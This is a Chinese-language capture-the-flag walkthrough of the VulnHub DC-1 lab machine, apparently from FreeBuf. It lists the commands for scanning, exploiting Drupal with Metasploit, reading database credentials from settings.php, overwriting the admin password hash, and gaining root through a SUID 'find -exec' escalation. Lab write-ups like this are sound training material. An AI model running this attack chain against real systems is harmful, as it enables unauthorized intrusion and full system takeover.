CNjuzi
- 关注

实战打靶vulnhub--DC-1
一,部署方法
- 在官网上下载zip压缩包
- 下载到本地上解压缩后使用虚拟机导入.ova后缀的文件(在过程中出现问题不用理睬,点击重试即可)
- 配置网络,本人设置的是nat模式,这个看个人需求
- 打开靶机即可
二,靶机地址和描述
1. 下载地址
http://www.five86.com/downloads/DC-1.zip
2. 靶机描述
这靶机中有5个flag,最终的目标是找到root目录下的flag
三,测试
1. 信息收集
首先扫描网段
arp-scan -l
这里发现192.168.237.143是靶机的IP地址
接下来使用nmap命令对靶机进行全面扫描
nmap -T4 -sC -sV 192.168.237.143
扫描后发现开放了三个端口
22端口对应ssh服务
80端口对应web服务
而且发现靶机的HTTP站点是Drupal站点
访问站点
确认该站点的CMS是drupal
2. 漏洞发现
这里使用msf进行漏洞探测和利用
msfconsole打开msf工具
使用search drupal搜索相关的漏洞利用模块
这里发现有两个关于http的漏洞利用模块,根据Rank的值,果断选择2模块
使用use 2利用该模块
使用Show options查看需要进行的设置
这里发现需要设置RHOSTS的值
所以使用set RHOSTS 192.168.237.143 进行设置RHOSTS的值
接着使用run 进行利用该模块
成功利用
3. 漏洞利用
输入shell即可获得靶机的webshell
使用whoami查看当前用户
使用ls -al 查看当前目录下的所有文件及其权限
发现第一个flag
使用cat flag.txt进行查看文件内容
每一个好的CMS都需要一个配置文件-你也一样
根据提示,百度搜索drupal的默认配置文件
得知文件名为settings.php
这里使用python -c "import pty;pty.spawn('/bin/bash')"进行交互性shell
交互性shell:可以执行一些需要上下文的命令,并且需要回显信息
这里使用find -name settings.php查找文件的位置
使用cat ./sites/default/settings.php | more 进行查看settings.php的内容
这里不仅发现了第二个flag,还有数据库的账号和密码
Flag2:蛮力和字典攻击不是获取访问权限的唯一方法(你需要访问权限),你可以使用这些凭据做什么呢?
这里使用账号密码进行登录数据库
mysql -u dbuser -pR0ck
使用show databases;查看数据库
根据drupaldb猜测到这个是drupalCMS的数据库
使用use drupaldb;进入到数据库中,再使用show tables;查看库内的所有表。
发现这其中有users的表
使用select * from users\G ,纵向的显示users所有字段的内容
发现存在admin的用户但是密码被加密。通过搜索资料后这种密码的加密方法不可逆。无法解密。
但是drupal提供了可以直接修改管理员密码的方法。在scripts目录下存在一个password-hash.sh的文件,这可以将你输入进去明文密码转为hash值
在/var/www/下使用php scripts/password-hash.sh 123 即可生成123这个字符串的hash值
复制得到的hash值
再次进入到数据库中,使用update drupaldb.users set pass=”【hash值】” where name=’admin’;
使用select * from drupaldb.users where name=’admin’\G;再次检查admin的密码是否被修改
打开站点,使用admin;123进行登陆,成功登录
在上面有很多的功能点,如果不知道意思,可以一个一个点击查看
在Dashboard下出现flag3
点击进行查看
出现第三个flag:特殊权限将有助于查找密码,但是需要-exec命令才能获取阴影中的内容
发现在其中有两个特殊的大写字母,PERMS和FIND,这里猜测是方法。
首先使用find / -name “flag*”查找所有以flag开头的文件
发现第四个flag
使用cat /home/flag4/flag4.txt进行查看flag4的内容
Flag4:你可以使用相同的方法在root权限内找到flag,大概,或许没这么简单,或者呢?
根据这些内容,推测下一步会进行提权操作,从而获得root权限,找到flag5
根据flag3中的另一个大写字母PERMS,猜测是使用SUID提权
使用find / -user root -perm -4000 -print 2>/dev/null查找所有具有SUID权限且属于root的文件。
发现find命令,根据-exec,可以确认使用find进行提权
使用touch abc 创建提权需要的文件,然后使用find abc -exec ‘/bin/sh/’ \;进行提权
成功获得root权限
使用cd /root进入root目录下,使用ls查看当前目录下的文件
使用cat thefinalflag.txt进行查看最后的flag
成功获取全部的flag!!
渗透结束!!
四,知识点总结
nmap的使用
使用msf进行渗透
利用python进行交互式shell
数据库的查看,增加,删除,修改密码等
SUID提权
Find提权
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
